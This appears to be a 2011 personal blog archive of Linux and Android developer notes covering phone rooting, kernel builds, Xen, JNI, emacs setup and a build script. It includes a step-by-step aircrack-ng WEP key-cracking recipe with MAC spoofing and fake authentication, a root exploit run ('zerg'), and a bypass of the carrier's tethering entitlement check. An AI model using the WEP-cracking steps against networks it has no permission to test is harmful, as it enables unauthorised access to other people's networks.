Wednesday, November 16, 2011

How to root Atrix 4G

Get root img and fastboot from:
http://briefmobile.com/motorola-atrix-4g-root

How to enter fastboot mode:
Turn off your device. – Hold down the power button and downward volume button until you see “Fastboot” on your screen – Push the upward volume button

On fastboot binary file on linux is in: $BSP/out/host/linux-x86/bin/fastboot

How to Root:
fastboot flash preinstall root.img
fastboot reboot
Enable USB debugging (Settings >> Applications >> Debugging)
Type the following commands
adb shell
$/preinstall/dosu
Type the following commands
#/bin/mount /system -o remount,rw
#cp /preinstall/su /system/bin/su
#chmod 6755 /system/bin/su
#PATH=/system/bin:$PATH pm install -r /preinstall/Superuser.apk



Enable Tethering on 4.5.91
Others the same as Atrix 2
4. go to Line 118 labled Entitlement Check with a value of 1
5. Change value from 1 to "disabled" (without quotes)
6. reboot

Monday, November 14, 2011

How to Root Atrix 2 and get Free Wifi Hotspot

Works like a charm on my new Atrix 2.

Download Exploit.zip from:
http://forum.xda-developers.com/attachment.php?attachmentid=767

///////////////////////////////////////////
* Root *

adb push zerg /data/local
adb push su /data/local
adb push Superuser.apk /data/local
adb shell
cd /data/local
chmod 777 zerg
./zerg
Wait as root access is gained.
Now type in the following commands:
adb shell
mount -o rw,remount /dev/null /system
cat /data/local/su > /system/bin/su
cat /data/local/Superuser.apk > /system/app/Superuser.apk
chmod 4755 /system/bin/su
chmod 4755 /system/app/Superuser.apk
reboot


////////////////////Wifi Hotspot///////////////
* prerequisites*
1. Root
2. SQlite editor from market
market charges for it. Just google "SQlite editor apk"
you can download and direct install it via

adb install SQlite_Editor.apk


*Steps to use editor*

1. open SQlite editor and scroll to Settings Storage (com.motorola.android.
provider.settings
2. click settings.db
3. click settings
4. Line 148 it should say Entitlement Check On the Atrix 2
Changing the entitlement_check line to 0 instead of to get it working
5. reboot

Friday, October 28, 2011

JNI c/cpp call java function or get value

Call JNI int func(void):
jobject getIden = env->GetMethodID(surfaceClass, "getIdentity", "()I");
jint iden = env->CallIntMethod(surface, getIden);
LOGD("jianwang --------getSurface identity =%d\n", (int)iden);

Get string:

jfieldID jfd = env->GetFieldID(surfaceClass, "mName", "Ljava/lang/String;");
jstring jstr = (jstring)env->GetObjectField(surface, jfd);
if (jstr) {
const char* icount = env->GetStringUTFChars(jstr, 0);
LOGD("jianwang --------getSurface icount=%s\n", icount);
env->ReleaseStringUTFChars(jstr, icount);
} else
LOGD("jianwang -------- jstr == NULL \n");


Get static int:

gSurfaceJavaGlue.count = env->GetStaticFieldID(surfaceClass, "GPU", "I");
jint icount = env->GetStaticIntField(surfaceClass, gSurfaceJavaGlue.count);

Thursday, September 1, 2011

Autobuild script

Put the following script in crontab
crontab -e

*/10 * * * * ~/autobuild

crontab -l

should see the added task


!/bin/bash
#If the startbuild file is changed within 300 seconds, 
#We will start build flashplayer automatically

#The threshold time that file is modified, we will build
TIME=300
FILE="startbuild"
DATE=(`stat -c %y $FILE| cut -d ' ' -f1`)
#DATE=(`stat -c %y $FILE| awk '{printf $1}')

LOG="/tmp/$FILE$DATE.log"
LOCK="/tmp/lockfile"
t1=(`stat -c %Y $FILE`)
t2=(`date +%s`)
gap=$(($t2-$t1))

function buildfp() {
	touch $LOCK
	cd /jian/koobe
	. build/envsetup.sh 
	chooseproduct VTAB1008
	cd $1/flash/code/products/player/android
	make TARGET_ARCH=ARMV7-A MAKECMDGOALS=release DISABLE_UYVY422_BUFFER=1   USE_AAC_SWCODEC=1  >> $LOG
	cp  $1/flash/code/build/android/results/plugin/ARMV7-A/Release/install_flash_player.apk $2
	rm $LOCK
}

#create log file if it doesn't exist
if [ ! -f $LOG ]; then
	touch $LOG
fi

if [ $gap -lt $TIME ]; then
	if [ -f $LOCK ]; then 
		echo "Another autobuild job is running, skip" > $LOG
	else
		echo "File have been modified in $gap seconds, so start building..." >$LOG
		buildfp /jian/FP103 /tmp
		echo "Finish build!!!" >> $LOG;
	fi
else
	echo "File modified $gap seconds ago, do nothing" > $LOG;
fi

Monday, July 11, 2011

How to install linux kernel in Ubuntu 10/11

Open a terminal and type the following,

sudo apt-get install fakeroot kernel-wedge build-essential makedumpfile kernel-package libncurses5 libncurses5-dev


Then run the following command,

sudo apt-get build-dep --no-install-recommends linux-image-$(uname -r)


And finally type,

mkdir ~/src
cd ~/src
apt-get source linux-image-$(uname -r)
cd linux-2.6.32


At the time of writing 2.6.32 was the current kernel source, it should remain at this version throughout the life of Ubuntu 10.04

It is a good idea to start with the same .config as the currently running kernel, so type the following,

cp -vi /boot/config-`uname -r` .config


Now we are ready to customize the build and kernel options.

make menuconfig


Once you have finished, save and exit. It is now time to compile. However to speed up the build if you have a dual core processor type,

export CONCURRENCY_LEVEL=3


The general rule is 1 + the number of processor cores.

make-kpkg clean
fakeroot make-kpkg --initrd --append-to-version=-jian kernel-image kernel-headers


After a few minutes or hours your kernel compile will be complete. The next step is to install it.

The kernel package will be created in the parent directory of ~/src/linux-2.6.32 (i.e. ~/src)

cd ~/src
sudo dpkg -i linux-image...deb
sudo dpkg -i linux-headers-2.6.38Custom_amd32.deb



We are almost ready, prior to 10.04 the initramfs kernel image was automatically created. The Ubuntu wiki suggests using the scripts to create the image but I have been unsuccessful in using this method, hence the manual approach.

sudo update-initramfs -c -k all


BUG: Please use the alternate method described below as this command fails to create an image for your new kernel. Special thanks to Helios38. - 16/06/2010


Alternatively if you know the kernel version, substitute the word all with the kernel version.

Example, sudo update-initramfs -c -k 2.6.38.7


Finally we need to add the initramfs image to the grub.cfg file located at /boot/grub/grub.cfg.

For the easy and automatic method as oppose to manually editing the grub.cfg file, just type the following,

sudo update-grub


Now just reboot and your new kernel should automatically load.

How to remove your kernel

sudo dpkg -r linux-headers-...
sudo dpkg -r linux-image-...
sudo rm /boot/initrd.img-...

Thursday, June 16, 2011

Install Xen3.3.0 on VMware workstation 7.1

When testing my new xen hypervisor scheduling algorighm, I often got hang issues when debugging.
Then I am thinking: why not install hypervisor on vmware workstation.

Several steps:

1. Install workstation

2. Create Vmware guest using ubuntu 8.0.4(hardy) iso images

3. boot up guest, under the guest os, download xen3.3.0 source code

4. make world; make install(need to install a lot of tools before this)
apt-get install bcc bin86 gawk bridge-utils iproute libcurl3 libcurl4-openssl-dev bzip2 module-init-tools transfig tgif texinfo pciutils-dev mercurial build-essential make gcc libc6-dev zlib1g-dev python python-dev python-twisted libncurs
es5-dev patch libvncserver-dev libsdl-dev libjpeg62-dev


5. using mkinitramfs to create init fs

# depmod 2.6.18.8-xen
# mkinitramfs -o initrd-2.6.18.8-xen.img 2.6.18.8-xen



6 Add
title xen 3.3
root (hd0,0)
kernel /boot/xen-3.3.0.gz
#module /boot/vmlinuz-2.6.18.8-xen root=UUID=79cf418b-8975-4041-8d74-345f5728b363 ro quiet splash console=tty0
module /boot/vmlinuz-2.6.18.8-xen root=/dev/sda1 ro quiet splash console=tty0
module /boot/initrd.img-2.6.18.8-xen

to /boot/grub/menu.lst

7. Boot up Xen


8. apt-get install xen-tools
modify /etc/xen-tools/xen-tools.conf
choose lenny, and other adjustments you want.


9. sudo xen-create-image --ip 192.168.92.3 --hostname=vm0

10. sudo xm create -c vm0.cfg


most likely guest stuck at crond, add "xencons=tty" in /home/xen/vm0.cfg at extras line.

Friday, June 10, 2011

Create and apply patch

The diff program can be used to compare two files and to make patches. A typical
example might be

diff -ruN file.old file.new > file.diff

If you want to apply the patch to one file, modify the diff file first few lines
as
--- a/frameworks/base/core/java/android/webkit/WebView.java 2011-05-31 16:41
:46.985618991 -0400
+++ b/frameworks/base/core/java/android/webkit/WebView.java 2011-06-10 14:09
:28.513675152 -0400


This command will create a diff (recursively if directories are used) that shows

the changes, or "delta", between the two files.


To apply the patch created above, we can invoke

patch --dry-run -p1 -i file.diff.

patch -p1 -i file.diff.


The -p tells patch how much it should strip from the paths for the file names in

the patch. -p0 means to strip nothing, or leave the path intact.



For example, supposing the file name in the patch file was

/u/howard/src/blurfl/blurfl.c

setting -p0 gives the entire file name unmodified, -p1 gives

u/howard/src/blurfl/blurfl.c

without the leading slash, -p4 gives

blurfl/blurfl.c

and not specifying -p at all just gives you blurfl.c.

Thursday, April 7, 2011

How to root Nexus S using Ubuntu

Configure udev to recognize fastboot device.

vi /etc/udev/rules.d/51-android.rules

SUBSYSTEMS=="usb", SYSFS{idVendor}=="18d1", MODE="0666"
SUBSYSTEMS=="usb", SYSFS{idVendor}=="0bb4", MODE="0666"
SUBSYSTEMS=="usb", SYSFS{idVendor}=="22b8", MODE="0666"

In this case, Nexus vendor id is "18d1"
See
http://developer.android.com/guide/developing/device.html
for all the vendor ids available.

sudo /etc/init.d/udev restart

sudo reload udev


sudo adb reboot bootloader

choose unlock bootloader


You must have Built Android source code to use fastboot command

cd /jian/mydroid/out/host/linux-x86/bin/
fastboot oem unlock

Now back on this screen you should read
LOCK STATE - UNLOCKED

Download the ClockworkMod recovery image,
fastboot flash recovery recovery.img

Download su-2.3.6.1-ef-signed.zip
adb push su-2.3.6.1-ef-signed.zip /sdcard/su-2.3.6.1-ef-signed.zip
adb reboot bootloader

Select "Recovery

Select "Install ZIP from sdcard" (power button to apply)

Select "Choose ZIP from sdcard" (power button to apply)

Select su-2.3.6.1-ef-signed.zip (power button to apply)

Select "Yes - su-2.3.6.1-ef-signed.zip"


and then reboot, now you should can use
adb shell
su

to get root permission.

Reference:
http://forum.xda-developers.com/showthread.php?t=1007782

Friday, April 1, 2011

How to root android Atrix 4G phone

http://forum.xda-developers.com/showthread.php?t=1016060


Since I was using firmware 1.5.7 instead of 1.2.6,
have to flash the SBF using RSDlite(huge img to download).

After that you can use GladRoot to install SuperUser.
(might need to do it twice on WinXp to suceed).
And then you can upgrade the system to 1.5.2 via
Setting ->About Phone -> Upgrade phone.

Motorola seems to has strict rules to not allow rooting
of the devices.(Nexus S is quite easy to do it).

Sunday, March 27, 2011

How to crack a WEP website

#Install aircrack
sudo apt-get install aircrack-ng

Remember to use the wifi driver the aircrack websites required
For me, I have to patch the wife driver with one line code change
and recompile the driver.

sudo airmon-ng stop mon0
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0

#find the wep sites
sudo airodump-ng mon0

#start dumping to files
sudo airodump-ng -c 1 --bssid 00:14:A5:0D:96:35 -w dump mon0

#tricky part fake auth
sudo aireplay-ng -1 10 -a 00:14:A5:0D:96:35 -h 00:11:22:33:44:55 mon0

#crack the password
sudo aircrack-ng ./dump-01.cap

Saturday, February 12, 2011

Linux memory allocation example

A good tutorial on the anonymous pages and file cache.

http://linuxdevcenter.com/pub/a/linux/2006/11/30/linux-out-of-memory.html

Tuesday, January 25, 2011

Display chinese with Elinks

Elinks is a perfect tool to omit those annoying pis/image/flash.
Best for office use. :-)

But it cannot support Chinese automatically.
Luckily there is a workaround:

Change ~/.elinks/elinks.conf
set config.saving_style_w = 1
set terminal.xterm.charset = "windows-1252"
set terminal.xterm.colors = 0
set terminal.xterm.utf_8_io = 0
set ui.language = "System"
set document.codepage.assume = "windows-1252"


Restart elinks, Done!

Thursday, January 20, 2011

emacs cscope on ubuntu

sudo apt-get install emacs emacs-goodies-el cscope cscope-el

;;emacs setting
(setq cscope-do-not-update-database t)
(load-file "/usr/share/emacs/site-lisp/xcscope.el")
(require 'xcscope)


;; multiple shell
(defun my-shell (arg)
(interactive "p")
(let ((arg (or arg 1)))
(shell (format "*sh%d*" arg))))

(global-unset-key (kbd "C-z"))
(global-set-key (kbd "C-z 1") '(lambda () (interactive) (my-shell 1)))
(global-set-key (kbd "C-z 2") '(lambda () (interactive) (my-shell 2)))
(global-set-key (kbd "C-z 3") '(lambda () (interactive) (my-shell 3)))
(global-set-key (kbd "C-z 4") '(lambda () (interactive) (my-shell 4)))
(global-set-key (kbd "C-z 5") '(lambda () (interactive) (my-shell 5)))
;;to solve shell ls --color problem
(autoload 'ansi-color-for-comint-mode-on "ansi-color" nil t)
(add-hook 'shell-mode-hook 'ansi-color-for-comint-mode-on)





;;for ubuntu install emacs-goodies-el. other systems download file color-theme.el
;; color-theme
;;
(require 'color-theme)
(color-theme-initialize)
(color-theme-robin-hood)



;;for ubuntu install emacs-goodies-el. other systems download file tabbar.el
;; tabbar
;;
(require 'tabbar)
(tabbar-mode)
;(global-set-key (kbd "") 'tabbar-backward-group)
;(global-set-key (kbd "") 'tabbar-forward-group)
(global-set-key (kbd "C-`") 'tabbar-backward) ;切换TAB的快捷键
(global-set-key (kbd "C-") 'tabbar-forward)
;(set-face-attribute 'tabbar-default-face nil :family "Tahoma") ;设置tabbar字体